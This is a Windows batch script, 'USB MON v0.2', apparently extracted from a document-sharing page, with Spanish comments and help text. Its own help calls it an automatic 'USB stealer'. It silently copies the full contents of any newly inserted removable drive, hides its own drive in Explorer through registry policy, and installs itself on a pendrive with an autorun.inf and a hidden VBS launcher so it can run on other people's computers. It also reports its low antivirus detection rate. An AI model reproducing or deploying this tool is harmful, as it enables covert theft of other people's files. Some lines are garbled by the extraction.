Вы находитесь на странице: 1из 8

@Echo OFF

Title USB MON v0.2


REM By Elektro H@cker
Setlocal enabledelayedexpansion
Color 07
:: :: :: :: :: :: :: ::
::
::
::
CONFIGURACIN
::
::
::
:: :: :: :: :: :: :: ::
::
::
:: Directorio de inicio
Set "DIR=%~d0"
::
:: Directorio del log
Set "LOGFILE=.\USBMON.log"
::
:: Letras a monitorizar
Set "DRIVES= B C D E F G H I J K L M N O P Q R S T U V W X Y Z "
::
:: Letras hexadecimales (NO TOCAR)
Set "DRIVES_HEX=A:1 B:2 C:4 D:8 E:16 F:32 G:64 H:128 I:256 J:512 K:1024 L:2048
M:4096 N:8192 O:16384 P:32768 Q:65536 R:131072 S:262144 T:524288 U:1048576
V:2097152 W:4194304 X:8388608 Y:16777216 Z:33554432"
::
:: Ocultar unidades vacas en "MI PC"
(ACTIVAR / DESACTIVAR)
Set "HideDrivesWithNoMedia=ACTIVAR"
::
:: Ocultar la unidad de inicio de USB MON en "MI PC" (ACTIVAR / DESACTIVAR)
Set "HideUSBMONDrive=DESACTIVAR"
::
:: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: :: ::
REM Inicio del LOG
Call :Logo
Call :Write_Log >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log Iniciando USB MON... >NUL
Call :Write_Log -------------------- >NUL
Call :Write_Log >NUL
REM Ocultar unidades vacas en "MI PC"
REG Query
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
"HideDrivesWithNoMedia" >NUL 2>&1 && (
FOR /F "Tokens=3 Delims= " %%a in ('reg query
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
"HideDrivesWithNoMedia" 2^>NUL') do (
Set "Value=%%a"
)) || (Set "Value=0x1")
IF /I "%HideDrivesWithNoMedia%" EQU "ACTIVAR" (
IF /I NOT "%Value%" EQU "0x0" (
Call :Write_Log [+] Ocultando las unidades vacas en
REG ADD
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"

/V

/V

MI PC...
/V

"HideDrivesWithNoMedia" /T "REG_DWORD" /D "0" /F >NUL


) ELSE (
Set "HideDrivesWithNoMedia="
)
)
REM Ocultar la unidad de inicio de USB MON
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (
REG QUERY "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V
"ShowDrive_%DIR::=%" >NUL 2>&1 && (SET "HideUSBMONDrive=") || (
Call :Write_Log [+] Ocultando la unidad de USB MON en MI PC [%DIR
%]...
FOR %%# in (%DRIVES_HEX%) do (
Echo %%# | FIND "%DIR%" >NUL && (
Call SET "DIR_HEX=%%#"
CALL REG ADD
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V
"NoDrives" /T "REG_DWORD" /D "%%DIR_HEX:~2%%" /F >NUL
)
)
)
)
REM Reinicia el proceso explorer.exe
Echo " %HideDrivesWithNoMedia% , %HideUSBMONDrive% " | FINDSTR /I
"\<ACTIVAR\>" >NUL && (
START /W Taskkill /F /IM "explorer.exe" >NUL
START /B explorer.exe
Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
)
REM Para revertir los cambios para "Ocultar unidades vacas en "MI PC"" en el
prximo reinicio del sistema
IF /I NOT "%Value%" EQU "0x0" (REG ADD
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V
"ShowDrivesWithNoMedia" /D "CMD /C REG ADD
"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /V
"HideDrivesWithNoMedia" /T "REG_DWORD" /D "1" /F >NUL" /F >NUL)
REM Para revertir los cambios para "Ocultar la unidad de inicio de USB MON" en
el prximo reinicio del sistema
IF /I "%HideUSBMONDrive%" EQU "ACTIVAR" (REG ADD
"HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "ShowDrive_%DIR::=
%" /D "CMD /C REG DELETE
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /V
"NoDrives" /F >NUL" /F >NUL)
REM Inicia el servicio de Disco Virtual para poder usar Diskpart
:SERVICE
Call :Logo
SC query "VDS" | FIND /I "PENDING" >NUL && (
Call :Write_Log Hay una detencin pendiente del servicio de Disco
virtual.
Call :Write_Log Esperando a que el servicio pueda reanudarse para
continuar...
Timeout /T 5 2>NUL || (Ping -n 5 localhost >NUL)
Goto :Service
)
SC query "VDS" | FIND /I "STOPPED" >NUL && (
Call :Write_Log El servicio de Disco virtual est detenido.

Call :Write_Log Iniciando el servicio...


sc config "VDS" start= "demand" >NUL 2>&1
sc start "VDS" >NUL 2>&1 || (
Call :Write_Log
Call :Write_Log * ERROR CRTICO *
Call :Write_Log No se pudo iniciar el servicio de Disco virtual,
Compruebe sus permisos de usuario.
Call :Write_Log Terminando el proceso...
Exit /B 1
)
) & (Call :Write_Log El servicio de Disco virtual se ha iniciado.)
REM Parmetros
IF
"%~1" EQU
IF /I "%~1" EQU
IF /I "%~1" EQU
IF /I "%~1" EQU

"/?"
"-ayuda"
"-instalar"
"-test"

(Goto
(Goto
(Goto
(Goto

:command_help)
:extended_help)
:install)
:test)

REM Elimina archivos temporales de una sesin anterior


DEL /Q "%WINDIR%\Temp\USBMON*" 2>NUL
REM Elimina los discos fijos para la monitorizacin
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (Set
"DRIVES=!DRIVES: %%# = !")
REM Elimina los dispositivos de DVD-ROM para la monitorizacin
For %%# in (%DRIVES%) DO (fsutil fsinfo drivetype %%#: | FIND /I "ROM" >NUL &&
(Set "DRIVES=!DRIVES: %%# = !"))
REM Monitoreo y auto-copiado
:MONITOR
Call :Logo
Echo Unidad de origen: [%DIR%]
Call :Write_Log Monitorizando unidades:!DRIVES!
Echo+ & Call :Write_Log >NUL
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart') DO (
Echo "%DRIVES%" | FIND /I "%%#" >NUL && (
For /F "Tokens=7,* delims= " %%A in ('Vol %%#: ^| FIND /I " %%#
"') Do (
IF "%%B" EQU "tiene etiqueta." (Set "LBL=Sin etiqueta")
ELSE (Set "LBL=%%B")
Call :Write_Log Hay un dispositivo conectado en la unidad
[%%#:] con etiqueta "!LBL!"
)
Call :Write_Log [+] Buscando archivos....
DIR /B /A "%%#:\*" >NUL 2>&1 && (
Call :Write_Log [+] Copiando archivos de la unidad [%%#:]
a la unidad [%DIR%]
MKDIR "%WINDIR%\Temp" 2>NUL
MKDIR "%DIR%\USBMON %COMPUTERNAME: =% [%%#] !LBL!" 2>NUL
IF EXIST "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!
LBL: =!_Lista.txt" (
XCOPY /A /C /E /H /J /K /O /Q /X "%%#:\*" "%DIR
%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\" /EXCLUDE:%WINDIR%\Temp\USBMON_
%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt
) ELSE (
XCOPY /A /C /E /H /J /K /O /Q /X /Y "%%#:\*" "%DIR
%\USBMON %COMPUTERNAME: =% [%%#] !LBL!\"
)

DEL /Q "%WINDIR%\Temp\USBMON_%COMPUTERNAME: =%_[%%#]_!LBL:


=!_Lista.txt" 2>NUL
PUSHD "%%#:\"
For /R %%a in (*) do (Echo %%a>>"%WINDIR%\Temp\USBMON_
%COMPUTERNAME: =%_[%%#]_!LBL: =!_Lista.txt")
POPD
) || (
Call :Write_Log [+] La unidad est vaca...
)
)
)
)
Timeout /T 10 2>NUL || (Ping -n 10 localhost >NUL)
Goto :MONITOR
:LOGO
CLS
ECHO+
ECHO+
.------.
ECHO+
_
_ ____
____
__ __
___
_
_
^| from-.-----.
ECHO+
^| ^| ^| ^|/ ___^| ^| __ )
^| \/ ^| / _ \ ^| \ ^| ^|
^|
that-^| -----^|
ECHO+
^| ^| ^| ^|\___ \ ^| _ \
^| ^|\/^| ^|^| ^| ^| ^|^| \^| ^|
^| -usb-^| to---^|
ECHO+
^| ^|_^| ^| ___) ^|^| ^|_) ^|
^| ^| ^| ^|^| ^|_^| ^|^| ^|\ ^|
^| -----^| -my--^|
ECHO+
\___/ ^|____/ ^|____/
^|_^| ^|_^| \___/ ^|_^| \_^|
'------^| drive^|
ECHO+
By Elektro H@cker
v0.2
'------'
ECHO+
GOTO:EOF
:WRITE_LOG
Echo %*
Call Echo [%DATE%] [%TIME: =%] %* >> "%LOGFILE%"
GOTO:EOF
:INSTALL
Call :Logo
Set "Extraibles="
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I
"xtra"') DO (Set "Extraibles=!Extraibles! %%#")
Echo Dispositivos extraibles conectados:!Extraibles! | MORE
Echo Escribe la letra del dispositivo donde se instalar USB MON...
Set /P "DriveDest=>> "
If Not exist "%DriveDest%:" (Goto :Install) ELSE (Copy /Y %0 "%DriveDest
%:\USBMON.bat" >NUL)
Call :Logo
Echo Unidad seleccionada: [%DriveDest%:] | MORE
COPY /Y "%CD%\%0.BAT" "%DriveDest%:\%0.BAT" >NUL
Choice /M "Quiere crear un autorun.inf?"
If "!ERRORLEVEL!" EQU "1" (
Choice /M "Quiere que USBMON se ejecute en modo oculto?"
If "!ERRORLEVEL!" EQU "1" (

Set "EXT=vbs"
(
Echo Set wshShell = CreateObject("WScript.Shell"^)
Echo wshShell.run """" ^& ".\%0.BAT" ^& """", 0
)>"%DriveDest%:\%0.vbs"
) ELSE (
Set "EXT=bat"
)
(
Echo [autorun]
Echo open=%0.!EXT!
Echo shell\USBMON=Ejecutar USB MON
Echo shell\USBMON\command=%0.!EXT!
Echo shell=USBMON
)>"%DriveDest%:\autorun.inf"
)
Call :Logo
Echo Gracias por utilizar USB MON
Pause&Exit /B 0

:^) | MORE

:TEST
Call :Logo
Echo: Comenzando el test... | MORE
Echo: [+] Buscando alguna unidad extrable en el PC...
Echo list vol | diskpart | FIND /I "xtra" >NUL || (
Echo: * ERROR CRTICO *
Echo: Porfavor inserta un dispositivo extrable en el PC.
Exit /B 1
)
For /F "Tokens=3 delims= " %%# in ('Echo list vol ^| diskpart ^| FIND /I
"xtra"') DO (
IF "%%#:" EQU "%DIR%" (
Echo: * ERROR CRTICO *
Echo: No debes ejecutar USB MON desde la unidad extrable en este
test.
Exit /B 1
)
Echo: [+] Unidad extrable encontrada [%%#:] | MORE
Call :Write_Log Iniciando un test en la unidad [%%#:] >NUL
Set "DRIVES= %%# "
MKDIR "%WINDIR%\Temp" 2>NUL
DEL /Q "%WINDIR%\Temp\USBMON_[%%#]*" 2>NUL
)
Echo: Se procede a monitorizar la unidad [%DRIVES: =%:]...
Timeout /T 10 2>NUL || (Ping -n 5 localhost >NUL)
Goto :Monitor
:COMMAND_HELP
call :Logo
Echo: /?
Echo: -ayuda
Echo: -install
Echo: -test
Exit /B 0

^^^|
^^^|
^^^|
^^^|

Muestra esta ayuda | MORE


Muestra la ayuda extendida | MORE
Instala USBMON en un dispositivo extrable | MORE
Inicia un test en un dispositivo extrable | MORE

:EXTENDED_HELP
Call :Logo
Echo - Que es USB MON?
Echo
________________ | MORE

Echo: USB MON (USB Monitor) es un programa portable con el fn de monitorizar


Echo: los nuevos dispositivos extraibles que se conecten a un PC
Echo: y copiar automticamente su contenido a la carpeta de USB MON. | MORE
Echo: USB MON no afecta a los dispositivos que ya se encuentren conectados a
un PC
Echo: en el momento que se ejecuta el programa. | MORE
Echo: En pocas palabras, USB MON es un "roba USB" automtico. | MORE
Pause&Call :Logo
Call :Logo
Echo - USB MON es compatible con todas las versiones de Windows?
Echo
__________________________________________________________ | MORE
Echo: USB MON ha sido testeado nicamente en Windows 7,
Echo: pero no debera dar problemas en Windows XP y Vista. | MORE
Pause&Call :Logo
Echo - Consejos para un correcto uso de USB MON
Echo
________________________________________ | MORE
Echo: Es conveniente ejecutar USB MON sin que hayan medios extraibles
conectados
Echo: en ese momento al PC, ya que esa letra de unidad quedara descartada. |
MORE
Echo: Es NECESARIO ocultar las unidades vacas en MI PC. | MORE
Pause&Call :Logo
Echo - Como funciona USB MON?
Echo
_______________________ | MORE
Echo: Al ejecutar USB MON se obtiene una lista de las letras de las unidades
Echo: conectadas al equipo en ese momento, esas letras se descartan
Echo: y se comienza a monitorizar el resto de letras en el equipo.
Echo: (Por eso es conveniente los consejos de uso de USB MON^) | MORE
Echo: Cuando USB MON detecta un dispositivo extraible insertado en alguna de
las
Echo: letras monitorizadas, se buscan archivos en esa unidad y se copian
Echo: a la carpeta del programa, excluyendo duplicados de archivos
echo: que se hayan copiado anteriormente de esa misma unidad. | MORE
Pause&Call :Logo
Echo - Como funciona las opciones de "Ocultar unidades" de USB MON?
Echo
_____________________________________________________________ | MORE
Echo Ocultar unidades vacas en "MI PC":
Echo: Se escribe una clave en el registro para ocultar las unidades visibles
Echo: sin medios insertados. | MORE
Echo Ocultar la unidad de inicio de USB MON en "MI PC":
Echo: Se escribe una clave en el registro para ocultar la unidad desde
Echo: donde se inicia USB MON. | MORE
Echo: Los cambios efectuados se revierten en el prximo reinicio del sistema.|
MORE
Echo: Si alguna de las dos opciones est activada se reiniciar el proceso del
Echo: explorer.exe, para que los cambios surgan efecto al instante. | MORE
Pause&Call :Logo
Echo - Los antivirus pueden detectar USB MON?
Echo
_______________________________________ | MORE
Echo: En mi ltimo escaneo online solo lo ha detectado 1 de 42 antivirus: |
MORE
Echo: DrWeb BATCH.Virus
Echo: Fecha: 2012-09-26 | MORE
Pause&Call :Logo

Echo - Que es un autorun.inf?


Echo
_______________________ | MORE
Echo: Un autorun es un archivo de personalizacin preconfigurado para
USB/CD/DVD.
Echo; Se puede personalizar el aspecto del dispositivo, y ejecutar un proceso.
| MORE
Echo: Un autorun es detectado por el servicio de Reproduccin automtica de
windows,
Echo; La ejecucin del autorun depende de que el servico est habilitado en el
PC. | MORE
Echo: El servicio se puede habilitar desde la herramienta "Services.MSC". |
MORE
Pause&Call :Logo
Echo - Para que sirve la opcin "-instalar" de USB MON?
Echo
_________________________________________________ | MORE
Echo: Sirve para portabilizar el programa hacia una unidad extraible. | MORE
Echo: La opcin est pensada para ser instalada en un pendrive, as, con
Echo: la ayuda de un autorun.inf, poder insertar el pendrive en otro equipo,
Echo: y monitorizar ese equipo para copiar los otros medios EXTRAIBLES a tu
pendrive. | MORE
Pause&Call :Logo
Echo - Para que sirve la opcin "-test" de USB MON?
Echo
_____________________________________________ | MORE
Echo: Sirve para realizar una pequea prueba de monitorizacin en una
Echo: unidad extrable aleatria de tu PC. | MORE
Echo: Es una prueba para ver si todo funciona con normalidad. | MORE
Echo: PD: El test ha de cancelarse manualmente apretando "CTRL + C" o cerrando
CMD. | MORE
Pause&Call :Logo
Echo - Cuando intento instalar USB MON con el autorun.inf no me funciona,
Porqu?
Echo
___________________________________________________________________________ |
MORE
Echo Windows XP/Vista:
Echo: El servicio de "Reproduccin automtica" debe estar activado en el
equipo. | MORE
Echo Windows 7:
Echo: Microsoft deshabilit POR COMPLETO el uso de un autorun.inf en
pendrives,
Echo: La nica manera de ejecutar un autorun.inf es disponer de un pendrive,
Echo: que se haga pasar por un dispositivo de CD-ROM para auto-reproducirse. |
MORE
Echo: PD: Infrmate en internet sobre el modelo de pendrive antes de
adquirirlo. | MORE
Pause&Call :Logo
Echo - Donde puedo conseguir ms programas tuyos?
Echo
___________________________________________ | MORE
Echo: No tengo ninguna web ni blog personal, pero puedes visitar
www.elhacker.net | MORE
Echo: All encontrars ms scripts tiles de todo tipo usando el buscador del
foro,
Echo: Tambin me encontrars moderando la seccin de Scripting, donde siempre
estar

Echo: dispuesto y encantado de resolver tus dudas. | MORE


Pause&Exit/B 0